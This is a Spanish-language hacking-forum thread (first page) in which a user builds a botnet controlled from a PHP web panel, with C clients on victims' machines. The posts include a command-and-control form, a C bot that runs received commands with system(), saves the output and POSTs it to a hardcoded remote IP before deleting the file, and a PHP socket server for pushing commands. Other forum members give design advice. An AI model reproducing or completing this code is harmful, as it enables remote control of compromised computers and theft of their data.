elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Controlar botnet con PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: Controlar botnet con PHP  (Leído 10,331 veces)
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Controlar botnet con PHP
« en: 15 Septiembre 2014, 14:00 pm »

Hola, tengo pensado controlar a partir de un servidor web que corra un script PHP una botnet (pero esto en teoría OJO, aprendizaje nunca práctica que luego...), ahora bien, los clientes estaría en C o C++, iré subiendo código y editando mensajes acerca del proyecto, la idea es poder gestionar desde el servidor web a las víctimas a través de una SHELL, lo que peor llevo son sockets así que una ayuda no vendrá mal, una guía o algo iré subiendo código.

Edito: subiré la carpeta entera del proyecto web si es necesario, y espero mejoras y consejos xD, gracias.

Saludos.


« Última modificación: 15 Septiembre 2014, 23:33 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Controlar botnet con PHP
« Respuesta #1 en: 16 Septiembre 2014, 03:23 am »

no es necesario sockets a menos que quieras una comunicación compleja, puedes usar los protocolos html standard

colocas en la pagina x el comando a ejecutar y lo ejecutan, si quieres comunicación de vuelta, lo envían por post y listo... si quieres que uno de ellos se conecte contigo le pasas tu ip con un comando especial y listo... eso si, la técnica es el pivote mismo de la red... le haces ingeniería inversa a un bot, y tienen evidencia suficiente para encarcelarte o por lo menos pierdes la red
 
 


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #2 en: 16 Septiembre 2014, 13:58 pm »

Gracias por tu respuesta engel, he estado trabajando hasta ahora en ello. He protegido directorios, he conseguido acceder a directorios externos al actual, estética de la web y demás blablas.

Lo que tengo es esto en el php que controlaría la botnet:
(He borrado los contenedores para ir al grano y que no se alargue el code).

Código
  1. <html>
  2. <head>
  3. <title>Mi botnet</title>
  4. <form action="bot.php" method="GET" >
  5. <sub style="color: #000000">Comando a interpretar</sub>
  6. <input type="Text" name="com" size="35" maxlength="100">
  7. <sub style="color: #000000">Seleccione bot (si no todos serán objetivos)</sub>
  8. <input type="Text" name="bot" size="8" maxlength="20">
  9. <input type="Submit" value="ENVIAR">
  10. </form>
  11. <?
  12. $comando = $_GET['com'];
  13. $bot = $_GET['bot'];
  14. if(strcmp($bot,"")==0)//mando comado a todos
  15. {
  16.  
  17. }
  18. else//busco y mando comando solo al indicado
  19. {
  20.  
  21. }
  22. //Aqui debería mandar la cadena de texto al cliente para que lo ejecute en la cmd y genere un archivo, que luego lo subiré
  23. //con un POST su contenido, cargándolo en una variable y mostrándolo.
  24. ?>
  25. </div>
  26. </center>
  27. </body>
  28. </html>
  29.  

El PHP lo que hace es recoger 2 variables que son el comando a interpretar en la SHELL del cliente, y el cliente objetivo al que se desearía interpretar, si la variable está vacía se ejecutaría a todos. Lo que no sé es como mandar desde el servidor esas cadenas con el comando a los clientes que estarían conectados, esa es la clave. Tanto para enviarlo en el PHP como para recibirlo en el C.

En el lado del C tengo esto:

Código
  1. #define IP "48.123.321.123"
  2. #define PUERTO 80
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <windows.h>
  8. #include <direct.h>
  9. #include <conio.h>
  10. #include <time.h>
  11. #include <math.h>
  12.  
  13. int main()
  14. {
  15.    char cola[20]=">data.txt",comando[100];
  16.    //recibiría el comando
  17.    strcat(comando,cola);
  18.    system(comando);
  19.    conecta("data.txt");//sube la variable del usuario y contenido del archivo
  20.    //(lo que devolvio la cmd) para cargar en vars en el PHP y mostrar allí
  21.    return 0;
  22. }
  23.  
  24. void conecta(char nombre[])
  25. {
  26.    FILE *dat;
  27.    WSADATA wsa;
  28.    int sok,len,i=0;
  29.    struct sockaddr_in dir;
  30.    char buf[60384],cad[60384],aux[10],borra[50]="del ",car;
  31.    WSAStartup(MAKEWORD(2,0),&wsa);
  32.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  33.    else{
  34.        dir.sin_family=AF_INET;
  35.        dir.sin_port=htons(PUERTO);
  36.        dir.sin_addr.s_addr=inet_addr(IP);
  37.        strcat(cad,"n=");
  38.        strcat(cad,nombre);
  39.        strcat(cad,"&b=");
  40.        dat=fopen(nombre,"rt");
  41.        if(nombre==NULL)
  42.        {
  43.            exit(0);
  44.        }
  45.        while(car!=EOF)
  46.        {
  47.            i++;
  48.            fseek(dat,-i,SEEK_END);
  49.            car=fgetc(dat);
  50.            cad[strlen(cad)]=car;
  51.        }
  52.        fclose(dat);
  53.        len=strlen(cad);
  54.        printf("%s",cad);
  55.        itoa(len,aux,10);
  56.        strcpy(buf,"POST direcotior_protegido/bot.php HTTP/1.1\r\n");
  57.        strcat(buf,"Host: hostquesea.com\r\n");
  58.        strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
  59.        strcat(buf,"Content-length: ");
  60.        strcat(buf,aux);
  61.        strcat(buf,"\r\n\r\n");
  62.        strcat(buf,cad);
  63.        connect(sok,(struct sockaddr*)&dir,sizeof(dir));
  64.        send(sok,buf,strlen(buf),0);
  65.        strcat(borra,nombre);
  66.        system(borra);
  67.    }
  68. }
  69.  
  70.  

Esto sería ya sabéis me falta mantener una conexión constante entre cliente y server y poder mandar esos comandos desde el server.

OJO a lo de directorio protegido (donde se encuentra el bot.php), porque al estarlo probablemente no me deje hacer POST a esa dirección es por eso que me pregunto que había que poner en la cabecera del POST para autentificarse porque lo busco pero no lo encuentro quizá lo sabéis.

También he de decir engel que busco aprender no crear mi propia botnet pero si saber como hacerla pues me atrae, otra cosa sería dar el paso de ponerla en funcionamiento e infectar ordenadores se me podría caer el pelo y es algo a lo que no aspiro.

Saludos, a la espera de ayuda, seguiré subiendo code y actualizándolo.
Toda mejora o consejo es bienvenida.
« Última modificación: 16 Septiembre 2014, 15:18 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #3 en: 16 Septiembre 2014, 16:15 pm »

HTTP es stateless por lo que vas a tener que hacer que tus bots refresquen la pagina cada tanto para obtener los comandos. Si no tienes cuidado, vas a hacer que tus bots te hagan un DDoS a tu servicio HTTP (dependiendo de cada cuanto hagan requests y cuantos bots tengas).
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #4 en: 16 Septiembre 2014, 16:44 pm »

Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos
En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #5 en: 16 Septiembre 2014, 17:09 pm »

Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos

Como te dije, HTTP es stateless y para que ellos reciban el comando atraves de una petición HTTP tienen que estar haciendo REQUESTs cada tanto para obtener el comando. Tu cliente (BOT) en C tendría que leer una respuesta HTTP y parsear los comandos.
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #6 en: 16 Septiembre 2014, 18:09 pm »

Entonces el "REQUEST" es como un ping que le dice al servidor estoy listo para recibir ordenes, y debe de hacerse constantemente, para que cuando mande el comando desde el server el bot sea capaz de recibirlo, pero no entiendo hago esto y que consigo, que me faltaría.

He buscado como hacer HTTP REQUEST con C y he encontrado esto (habría que pasarlo a windows):

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netdb.h>
  9.  
  10. /*
  11.  *
  12.  */
  13. int main(int argc, char** argv) {
  14.  
  15.    char arg[500];
  16.    char firstHalf[500];
  17.    char secondHalf[500];
  18.    char request[1000];
  19.    struct hostent *server;
  20.    struct sockaddr_in serveraddr;
  21.    int port = 80;
  22.  
  23.    strcpy(arg, argv[1]);
  24.  
  25.    int i;
  26.    for (i = 0; i < strlen(arg); i++)
  27.    {
  28.        if (arg[i] == '/')
  29.        {
  30.                strncpy(firstHalf, arg, i);
  31.                firstHalf[i] = '\0';
  32.                break;
  33.        }    
  34.    }
  35.  
  36.    for (i; i < strlen(arg); i++)
  37.    {
  38.        strcat(secondHalf, &arg[i]);
  39.        break;
  40.    }
  41.  
  42.    printf("\nFirst Half: %s", firstHalf);
  43.  
  44.    printf("\nSecond Half: %s", secondHalf);
  45.  
  46.    int tcpSocket = socket(AF_INET, SOCK_STREAM, 0);
  47.  
  48.    if (tcpSocket < 0)
  49.        printf("\nError opening socket");
  50.    else
  51.        printf("\nSuccessfully opened socket");
  52.  
  53.    server = gethostbyname(firstHalf);
  54.  
  55.    if (server == NULL)
  56.    {
  57.        printf("gethostbyname() failed\n");
  58.    }
  59.    else
  60.    {
  61.        printf("\n%s = ", server->h_name);
  62.        unsigned int j = 0;
  63.        while (server -> h_addr_list[j] != NULL)
  64.        {
  65.            printf("%s", inet_ntoa(*(struct in_addr*)(server -> h_addr_list[j])));
  66.            j++;
  67.        }
  68.    }
  69.  
  70.    printf("\n");
  71.  
  72.    bzero((char *) &serveraddr, sizeof(serveraddr));
  73.    serveraddr.sin_family = AF_INET;
  74.  
  75.    bcopy((char *)server->h_addr, (char *)&serveraddr.sin_addr.s_addr, server->h_length);
  76.  
  77.    serveraddr.sin_port = htons(port);
  78.  
  79.    if (connect(tcpSocket, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)
  80.        printf("\nError Connecting");
  81.    else
  82.        printf("\nSuccessfully Connected");
  83.  
  84.    bzero(request, 1000);
  85.  
  86.    sprintf(request, "Get %s HTTP/1.1\r\n Host: %s\r\n \r\n \r\n", secondHalf, firstHalf);
  87.  
  88.    printf("\n%s", request);
  89.  
  90.    if (send(tcpSocket, request, strlen(request), 0) < 0)
  91.        printf("Error with send()");
  92.    else
  93.        printf("Successfully sent html fetch request");
  94.  
  95.    bzero(request, 1000);
  96.  
  97.    recv(tcpSocket, request, 999, 0);
  98.    printf("\n%s", request);
  99.    printf("\nhello");
  100.  
  101.    close(tcpSocket);
  102.  
  103.    return (EXIT_SUCCESS);
  104. }

Esto es en teoría un HTTP REQUEST, que no se lo que es aún, ¿dónde recogería, en que variable el comando del server?, perdonad mi ignorancia porque nunca he trabajado con algo parecido y me parece muy complejo, lo veo todo borroso.

Podría hacer una función en mi bot que haga un HTTP REQUEST, pero, ¿cuando debería usarla y por qué?

Edito: Lo borro todo, eso de request es demasiado complejo y molesto, mi idea es que los bots hagan un POST al server y este guarde su dirección IP en un archivo, este archivo se borra cada cierto tiempo, bien tenemos las ips en el archivo, continuamos...
Ahora usamos esto:

Código
  1. <?php
  2.  
  3. /* Permitir al script esperar para conexiones. */
  4.  
  5. /* Activar el volcado de salida implícito, así veremos lo que estamo obteniendo
  6.  * mientras llega. */
  7.  
  8. $address = '192.168.1.53';
  9. $port = 10000;
  10.  
  11. if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
  12.    echo "socket_create() falló: razón: " . socket_strerror(socket_last_error()) . "\n";
  13. }
  14.  
  15. if (socket_bind($sock, $address, $port) === false) {
  16.    echo "socket_bind() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  17. }
  18.  
  19. if (socket_listen($sock, 5) === false) {
  20.    echo "socket_listen() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  21. }
  22.  
  23. do {
  24.    if (($msgsock = socket_accept($sock)) === false) {
  25.        echo "socket_accept() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
  26.        break;
  27.    }
  28.    /* Enviar instrucciones. */
  29.    $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
  30.        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
  31.    socket_write($msgsock, $msg, strlen($msg));
  32.  
  33.    do {
  34.        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
  35.            echo "socket_read() falló: razón: " . socket_strerror(socket_last_error($msgsock)) . "\n";
  36.            break 2;
  37.        }
  38.        if (!$buf = trim($buf)) {
  39.            continue;
  40.        }
  41.        if ($buf == 'quit') {
  42.            break;
  43.        }
  44.        if ($buf == 'shutdown') {
  45.            socket_close($msgsock);
  46.            break 2;
  47.        }
  48.        $talkback = "PHP: Usted dijo '$buf'.\n";
  49.        socket_write($msgsock, $talkback, strlen($talkback));
  50.        echo "$buf\n";
  51.    } while (true);
  52.    socket_close($msgsock);
  53. } while (true);
  54.  
  55. socket_close($sock);
  56. ?>

Esto enviaría una cadena al cliente bot, a través de su ip (la tenemos en el archivo) y un puerto (el que queramos), a través de esto enviamos el comando objetivo cumplido, o ¿me equivoco?

Edito: El server es evidente no podrá controlar más de unos 100 bots a la vez, pues estos para actualizar el "online.txt" deben mandar un POST cada minuto para indicar que están conectados y así el server poder enviar a través de su ip y puerto el comando con la orden.

Saludos y gracias por la paciencia xD
« Última modificación: 16 Septiembre 2014, 18:51 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #7 en: 16 Septiembre 2014, 18:58 pm »

uff mejor hacerla en sockets no? que necesidad de estar haciendo peticiones

ya que no haras nada malo usa irc para probar , es un protocolo sencillo . si lo usas para fines maliciosos por irc sera bastate simple que den contigo si no preguntale a algunos usuarios del foro
En línea

buenas
Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #8 en: 16 Septiembre 2014, 19:10 pm »

Si usa sockets los usa para enviar el comando desde el servidor hasta los bots clientes.
Como dije, este comando se enviaría a todos los usuarios conectados que estarían en el archivo, si falla uno (se desconecta después de refrescarse)  fallaría la conexión y se cancelaría el comando para ese usuario no habría problema.

Ahora bien faltaría necesitaría ayuda pues no sé como funciona del todo el código PHP que posteé creo que hace lo que dije, ahora tengo que crear en el cliente/bot un socket que se encargue de recoger ese comando y eso no lo sé hacer, haber si alguien me echa un cable porque nunca he trabajado con sockets xD, se hacer POST y nada más.

Creo con esto que la idea está clara, sería una botnet para un reducido número de bots, y es ás en un caso de que sean muy pocos (menos de 20) no haría falta crear el online.txt ni refrescarlo, podríamos hacer un for e ir recorriendolos uno a uno: que está conectado? le mandamos comando, que no? socket falla cancelamos comando. Si son pocos esto sería viable.

Saludos

En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: Controlar botnet con PHP
« Respuesta #9 en: 16 Septiembre 2014, 19:12 pm »

Yo creo que vas a tener mejores respuestas para C en el subforo de C.

https://foro.elhacker.net/programacion_cc-b49.0/
En línea

Páginas: [1] 2 3 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
XRayBNT Botnet P2P « 1 2 »
Análisis y Diseño de Malware
Jaixon Jax 17 12,163 Último mensaje 29 Junio 2010, 22:56 pm
por Jaixon Jax
[Botnet]¿Es necesaria un VPS?
Análisis y Diseño de Malware
VCore 2 4,416 Último mensaje 20 Octubre 2010, 04:12 am
por VCore
Problema con Botnet IRC
Programación Visual Basic
illuminat3d 1 2,187 Último mensaje 17 Noviembre 2010, 15:18 pm
por illuminat3d
que botnet es el mas popular « 1 2 3 »
Análisis y Diseño de Malware
snIPER1 22 19,967 Último mensaje 14 Septiembre 2015, 03:11 am
por MCKSys Argentina
Desmantelan la segunda botnet Hlux/Kelihos Botnet
Noticias
wolfbcn 0 2,542 Último mensaje 31 Marzo 2012, 13:58 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines